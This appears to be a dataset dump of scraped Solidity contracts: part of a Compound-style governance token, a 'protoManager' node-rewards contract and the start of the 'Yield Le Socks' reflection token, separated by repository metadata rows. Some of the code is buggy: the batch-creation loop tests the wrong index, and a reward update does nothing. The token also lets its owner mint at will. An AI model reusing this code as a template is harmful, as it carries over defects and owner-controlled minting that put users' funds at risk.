emit Transfer(address(0), account, _totalSupply);
}
function cap() public view returns (uint256) {
return _cap;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function harvest(uint256 rawAmount) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "BEP20: harvest to the zero address");
require(_totalSupply.add(rawAmount) <= cap(), "Cannot harvest more than cap");
uint96 amount = safe96(rawAmount, "Comp::harvest: amount exceeds 96 bits");
_totalSupply = _totalSupply.add(amount);
_balances[_msgSender()] = add96(_balances[_msgSender()], amount, "BEP20: harvest amount exceeds capped");
emit Transfer(address(0), _msgSender(), amount);
return true;
}
function burn(uint256 rawAmount) public onlyOwner returns (bool) {
require(_msgSender() != address(0), "BEP20: burn from the zero address");
uint96 amount = safe96(rawAmount, "Comp::burn: amount exceeds 96 bits");
_balances[_msgSender()] = sub96(_balances[_msgSender()], amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(_msgSender(), address(0), amount);
return true;
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) external view returns (uint) {
return _balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(_name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = _balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
_balances[src] = sub96(_balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
_balances[dst] = add96(_balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 312,721 | 13,675 |
bdc3983456911ad20a642e01af6760253619e3c6e1750bfb48a62436fbed887b
| 22,464 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/af/af67fd1836b1562ea4580b3074bc883730af7427_protoManager.sol
| 6,456 | 21,605 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library boostLib {
using SafeMath for uint256;
function calcReward(uint256 _dailyRewardsPerc,uint256 _timeStep,uint256 _timestamp, uint256 _lastClaimTime, uint256 _boost_) internal pure returns (uint256,uint256){
uint256 _one_ = 1;
uint256 one = _one_*(10**18)/1440;
uint256 elapsed = _timestamp - _lastClaimTime;
uint256 _rewardsPerDay = doPercentage(one, _dailyRewardsPerc);
(uint256 _rewardsTMul,uint256 _dayMultiple1) = getMultiple(elapsed,_timeStep,_rewardsPerDay);
uint256[2] memory _rewards_ = addFee(_rewardsTMul,_boost_);
uint256 _rewards = _rewards_[0];
uint256 _boost = _rewards_[1];
uint256 _all = _rewards+_boost;
return (_all,_boost);
}
function doPercentage(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 xx = 0;
if (y !=0){
xx = x.div((10000)/(y)).mul(100);
}
return xx;
}
function addFee(uint256 x,uint256 y) internal pure returns (uint256[2] memory) {
(uint256 w, uint256 y_2) = getMultiple(y,100,x);
return [w,doPercentage(x,y_2)];
}
function getMultiple(uint256 x,uint256 y,uint256 z) internal pure returns (uint,uint256) {
uint i = 0;
uint256 w = z;
while(x > y){
i++;
x = x - y;
z += w;
}
return (z,x);
}
function isInList(address x, address[] memory y) internal pure returns (bool){
for (uint i =0; i < y.length; i++) {
if (y[i] == x){
return true;
}
}
return false;
}
}
library nebuLib {
function addressInList(address[] memory _list, address _account) internal pure returns (bool){
for(uint i=0;i<_list.length;i++){
if(_account == _list[i]){
return true;
}
}
return false;
}
function mainBalance(address _account) internal view returns (uint256){
uint256 _balance = _account.balance;
return _balance;
}
function getMultiple(uint256 _x,uint256 _y)internal pure returns(uint256){
uint256 Zero = 0;
if (_y == Zero || _x == Zero || _x > _y){
return Zero;
}
uint256 z = _y;
uint256 i = 0;
while(z >= _x){
z -=_x;
i++;
}
return i;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract feeManager is Context {
function isInsolvent(address _account,string memory _name) external virtual view returns(bool);
function createProtos(address _account,string memory _name) external virtual;
function collapseProto(address _account,string memory _name) external virtual;
function payFee() payable virtual external;
function changeName(string memory _name,string memory new_name) external virtual;
function viewFeeInfo(address _account,string memory _name) external virtual view returns(uint256,uint256,bool,bool,bool,bool);
function getPeriodInfo() external virtual returns (uint256,uint256,uint256);
function getAccountsLength() external virtual view returns(uint256);
function accountExists(address _account) external virtual view returns (bool);
}
abstract contract prevProtoManager is Context {
function getDeadStarsData(address _account, uint256 _x) external virtual returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,bool,bool);
function protoAccountData(address _account, uint256 _x) external virtual returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256);
function protoAccountExists(address _account) external virtual returns (bool);
function getCollapseDate(address _account,uint256 _x) external virtual view returns(uint256);
function getdeadStarsLength(address _account) external virtual view returns(uint256);
function getProtoAccountsLength() external virtual view returns(uint256);
function getProtoAddress(uint256 _x) external virtual view returns(address);
function getProtoStarsLength(address _account) external virtual view returns(uint256);
}
abstract contract overseer is Context {
function getMultiplier(uint256 _x) external virtual returns(uint256);
function getBoostPerMin(uint256 _x) external virtual view returns(uint256);
function getRewardsPerMin() external virtual view returns (uint256);
function getCashoutRed(uint256 _x) external virtual view returns (uint256);
function getNftTimes(address _account, uint256 _id,uint256 _x) external virtual view returns(uint256);
function isStaked(address _account) internal virtual returns(bool);
function getNftAmount(address _account, uint256 _id) external view virtual returns(uint256);
function getFee() external virtual view returns(uint256);
function getModFee(uint256 _val) external virtual view returns(uint256);
function getNftPrice(uint _val) external virtual view returns(uint256);
function getEm() external virtual view returns (uint256);
}
contract protoManager is Ownable {
string public constant name = "NebulaNFTpay";
string public constant symbol = "NePay";
using SafeMath for uint256;
using SafeMath for uint;
struct PROTOstars {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 protoElapsed;
uint256 rewards;
uint256 boost;
uint256 protoLife;
uint256 lifeDecrease;
uint256 collapseDate;
bool insolvent;
}
struct DEADStars {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 protoElapsed;
uint256 rewards;
uint256 boost;
uint256 collapseDate;
bool insolvent;
bool imploded;
}
struct TIMES {
uint256 claimTime;
uint256 boostRewardsMin;
uint256 rewardsMin;
uint256 timeBoost;
uint256 timeRegular;
uint256 cashoutFeeRegular;
uint256 cashoutFee;
uint256 lifeDecrease;
uint256 tempRewards;
uint256 tempBoost;
uint256 tempTotRewards;
}
mapping(address => PROTOstars[]) public protostars;
mapping(address => DEADStars[]) public deadstars;
mapping(address => TIMES[]) public nftTimes;
address[] public PROTOaccounts;
address[] public PROTOtransfered;
address[] public Managers;
uint256[] public nftsHeld;
uint256 public Zero = 0;
uint256 public one = 1;
uint256 public gas = 1*(10**17);
uint256 public protoLife = 500 days;
uint256 public claimFee;
uint256 public rewardsPerMin;
uint256[] public boostmultiplier;
uint256[] public boostRewardsPerMin;
uint256[] public cashoutRed;
uint256[] public times;
address Guard;
bool public fees = false;
overseer public over;
feeManager public feeMGR;
address public nftAddress;
address payable public treasury;
modifier managerOnly() {require(nebuLib.addressInList(Managers,msg.sender)== true); _;}
modifier onlyGuard() {require(owner() == _msgSender() || Guard == _msgSender() || nebuLib.addressInList(Managers,_msgSender()) == true, "NOT_GUARD");_;}
constructor(address overseer_ ,address _feeManager, address payable _treasury) {
over = overseer(overseer_);
treasury = _treasury;
feeMGR = feeManager(_feeManager);
Managers.push(owner());
rewardsPerMin = over.getRewardsPerMin();
for(uint i=0;i<3;i++){
boostmultiplier.push(over.getMultiplier(i));
boostRewardsPerMin.push(over.getRewardsPerMin());
cashoutRed.push(over.getCashoutRed(i));
}
}
function queryProtos(address _account) internal returns(bool){
PROTOstars[] storage protos = protostars[_account];
for(uint i=0;i<protos.length;i++){
PROTOstars storage proto = protos[i];
(uint256 nextDue,uint256 feeFroze,bool owed,bool full,bool insolvent,bool imploded) = feeMGR.viewFeeInfo(_account,proto.name);
if(imploded == true){
collapseProto(_account,i);
return false;
}
}
return true;
}
function queryProtoRewards(address _account) external returns(uint256,uint256){
require(nebuLib.addressInList(PROTOaccounts,_account) == true,"you do not hold any active Protostars");
while(queryProtos(_account) == false){
queryProtos(_account);
}
uint256 totalRewards;
uint256 cashoutFee;
PROTOstars[] storage protos = protostars[_account];
TIMES[] storage times = nftTimes[_account];
for(uint i=0;i<protos.length;i++){
PROTOstars storage proto = protos[i];
TIMES storage time = times[i];
string memory _name = protos[i].name;
if(feeMGR.isInsolvent(_account,_name) != true){
totalRewards += time.tempTotRewards;
cashoutFee += time.cashoutFee;
}
}
return (totalRewards,cashoutFee);
}
function recProtoRewards(address _account) external onlyGuard{
PROTOstars[] storage stars = protostars[_account];
TIMES[] storage times = nftTimes[_account];
for(uint i=0;i<stars.length;i++){
PROTOstars storage star = stars[i];
TIMES storage time = times[i];
star.lastClaimTime = star.lastClaimTime;
star.protoElapsed =star.lastClaimTime - star.creationTime;
star.rewards += time.tempRewards;
star.lifeDecrease += time.lifeDecrease;
star.boost += time.tempBoost;
star.collapseDate = star.protoLife - star.lifeDecrease - star.protoElapsed;
}
}
function createBatchProto(address[] memory _accounts, string[] memory _names) external onlyGuard {
for(uint i=0;i<_names.length;i++){
string memory _name = _names[i];
for(uint j=0;i<_accounts.length;j++){
address _account = _accounts[j];
require(bytes(_name).length > 3 && bytes(_name).length < 32,"the Node name must be within 3 and 32 characters");
require(nameExists(_account,_name) == false,"name has already been used");
if (nebuLib.addressInList(PROTOaccounts,_account) == false){
PROTOaccounts.push(_account);
}
PROTOstars[] storage protos = protostars[_account];
//(uint256 feePeriod,uint256 gracePeriod,uint256 protoLife) = feeMGR.getPeriodInfo();
uint256 _time = block.timestamp;
uint256 collapse = _time.add(protoLife);
protos.push(PROTOstars({
name:_name,
creationTime:_time,
lastClaimTime:_time,
lifeDecrease:Zero,
protoElapsed:Zero,
rewards:Zero,
boost:Zero,
protoLife:protoLife,
collapseDate:collapse,
insolvent:false
}));
feeMGR.createProtos(_account,_name);
}
}
}
function addProto(address _account, string memory _name) external onlyGuard {
require(bytes(_name).length > 3 && bytes(_name).length < 32,"the Node name must be within 3 and 32 characters");
require(nameExists(_account,_name) == false,"name has already been used");
if (nebuLib.addressInList(PROTOaccounts,_account) == false){
PROTOaccounts.push(_account);
}
PROTOstars[] storage protos = protostars[_account];
//(uint256 feePeriod,uint256 gracePeriod,uint256 protoLife) = feeMGR.getPeriodInfo();
uint256 _time = block.timestamp;
uint256 collapse = _time.add(protoLife);
protos.push(PROTOstars({
name:_name,
creationTime:_time,
lastClaimTime:_time,
lifeDecrease:Zero,
protoElapsed:Zero,
rewards:Zero,
boost:Zero,
protoLife:protoLife,
collapseDate:collapse,
insolvent:false
}));
feeMGR.createProtos(_account,_name);
}
function collapseProto(address _account, uint256 _x) internal {
PROTOstars[] storage protos = protostars[_account];
PROTOstars storage proto = protos[_x];
DEADStars[] storage dead = deadstars[_account];
(uint256 nextDue,uint256 feeFroze,bool owed,bool full,bool insolvent,bool imploded) = feeMGR.viewFeeInfo(_account,proto.name);
dead.push(DEADStars({
name:proto.name,
creationTime:proto.creationTime,
lastClaimTime:proto.lastClaimTime,
protoElapsed:proto.protoElapsed,
rewards:proto.rewards,
boost:proto.boost,
collapseDate:proto.collapseDate,
insolvent:insolvent,
imploded:true
}));
for(uint i=_x;i<protos.length;i++){
if(i != protos.length-1){
PROTOstars storage proto_bef = protos[i];
PROTOstars storage proto_now = protos[i+1];
proto_bef.name = proto_now.name;
proto_bef.creationTime = proto_now.creationTime;
proto_bef.protoElapsed = proto_now.protoElapsed;
proto_bef.collapseDate = block.timestamp;
}
}
protos.pop();
feeMGR.collapseProto(_account,proto.name);
}
function transferAllProtoData(address prev) external onlyGuard() {
prevProtoManager _prev = prevProtoManager(prev);
uint256 accts = _prev.getProtoAccountsLength();
for(uint i=0;i<accts;i++){
address _account = _prev.getProtoAddress(i);
if(nebuLib.addressInList(PROTOtransfered,_account) == false){
PROTOstars[] storage stars = protostars[_account];
uint256 P_stars = _prev.getProtoStarsLength(_account);
for(uint j=0;j<P_stars;j++){
(string memory a,uint256 b,uint256 c,uint256 d,uint256 e,uint256 f,uint256 g,uint256 h,uint256 i) = _prev.protoAccountData(_account,j);
stars.push(PROTOstars({
name:a,
creationTime:b,
lastClaimTime:c,
lifeDecrease:d,
protoElapsed:e,
rewards:f,
boost:g,
protoLife:h,
collapseDate:i,
insolvent:false
}));
}
}
DEADStars[] storage dead = deadstars[_account];
uint256 D_stars = _prev.getdeadStarsLength(_account);
for(uint j=0;j<D_stars;j++){
(string memory a, uint256 b, uint256 c, uint256 d, uint256 e, uint256 f, uint256 g, bool h,bool i) = _prev.getDeadStarsData(_account,j);
dead.push(DEADStars({
name:a,
creationTime:b,
lastClaimTime:c,
protoElapsed:d,
rewards:e,
boost:f,
collapseDate:g,
insolvent:h,
imploded:i
}));
}
PROTOtransfered.push(_account);
}
}
function nameExists(address _account, string memory _name) internal view returns(bool){
PROTOstars[] storage protos = protostars[_account];
for(uint i = 0;i<protos.length;i++) {
PROTOstars storage proto = protos[i];
string memory name = proto.name;
if(keccak256(bytes(name)) == keccak256(bytes(_name))){
return true;
}
}
return false;
}
function findFromName(address _account, string memory _name) internal view returns(uint256){
PROTOstars[] storage protos = protostars[_account];
for(uint i = 0;i<protos.length;i++) {
PROTOstars storage proto = protos[i];
if(keccak256(bytes(proto.name)) == keccak256(bytes(_name))){
return i;
}
}
}
function changeFeeManager(address _address) external onlyGuard {
address _feeManager = _address;
feeMGR = feeManager(_feeManager);
}
function changeName(string memory _name,string memory new_name) external {
address _account = msg.sender;
require(nameExists(_account,_name) == true,"name does not exists");
require(nebuLib.addressInList(PROTOaccounts,_account) == true,"you do not hold any Protostars Currently");
PROTOstars[] storage protos = protostars[_account];
PROTOstars storage proto = protos[findFromName(_account,_name)];
proto.name = new_name;
feeMGR.changeName(_name,new_name);
}
function getDeadStarsData(address _account, uint256 _x) external onlyGuard() returns(string memory,uint256,uint256,uint256,uint256,uint256,bool,bool){
DEADStars[] storage deads = deadstars[_account];
DEADStars storage dead = deads[_x];
return (dead.name,dead.creationTime,dead.lastClaimTime,dead.rewards,dead.boost,dead.collapseDate,dead.insolvent,dead.imploded);
}
function protoAccountData(address _account, uint256 _x) external onlyGuard() returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256){
PROTOstars[] storage stars = protostars[_account];
PROTOstars storage star = stars[_x];
return (star.name,star.creationTime,star.lastClaimTime,star.protoElapsed,star.rewards,star.boost,star.protoLife,star.lifeDecrease,star.collapseDate);
}
function protoAccountExists(address _account) external returns (bool) {
return nebuLib.addressInList(PROTOaccounts,_account);
}
function getCollapseDate(address _account,string memory _name) external view returns(uint256) {
PROTOstars[] storage stars = protostars[_account];
PROTOstars storage star = stars[findFromName(_account,_name)];
return star.collapseDate;
}
function getdeadStarsLength(address _account) external view returns(uint256){
DEADStars[] storage deads = deadstars[_account];
return deads.length;
}
function getProtoAccountsLength() external view returns(uint256){
return PROTOaccounts.length;
}
function getProtoAddress(uint256 _x) external view returns(address){
return PROTOaccounts[_x];
}
function getProtoStarsLength(address _account) external view returns(uint256){
PROTOstars[] storage stars = protostars[_account];
return stars.length;
}
function updateTreasury(address payable _treasury) external onlyOwner() {
treasury = _treasury;
}
function updateFeeManager(address _feeManager) external onlyGuard(){
feeMGR = feeManager(_feeManager);
}
function updateRewardsPerMin() external onlyGuard() {
rewardsPerMin = over.getRewardsPerMin();
for(uint i=0;i<3;i++){
boostRewardsPerMin[i] = over.getBoostPerMin(i);
}
}
function updateGuard(address newVal) external onlyOwner {
Guard = newVal; //token swap address
}
function updateManagers(address newVal) external onlyOwner {
if(nebuLib.addressInList(Managers,newVal) ==false){
Managers.push(newVal); //token swap address
}
}
}
| 72,616 | 13,676 |
517e7bce7b22204db19e007b14a7f5cb61af9fa60959a5b6ad76d00d30951342
| 28,990 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x135cC9c51641266dB498C8431C92434E09Ac8a00/contract.sol
| 5,136 | 18,295 |
// Yield LeSocks
// No Mint. 6% Slippage
//
// Fees distribution : 20% Burn 40% Holders
//
//
//
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Yield_Le_Socks is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Yield Le Socks';
string private constant _SYMBOL = 'LeSocks';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 10000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 400;
uint256 private constant _BURN_FEE = 200;
uint256 private constant _MAX_TX_SIZE = 10000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
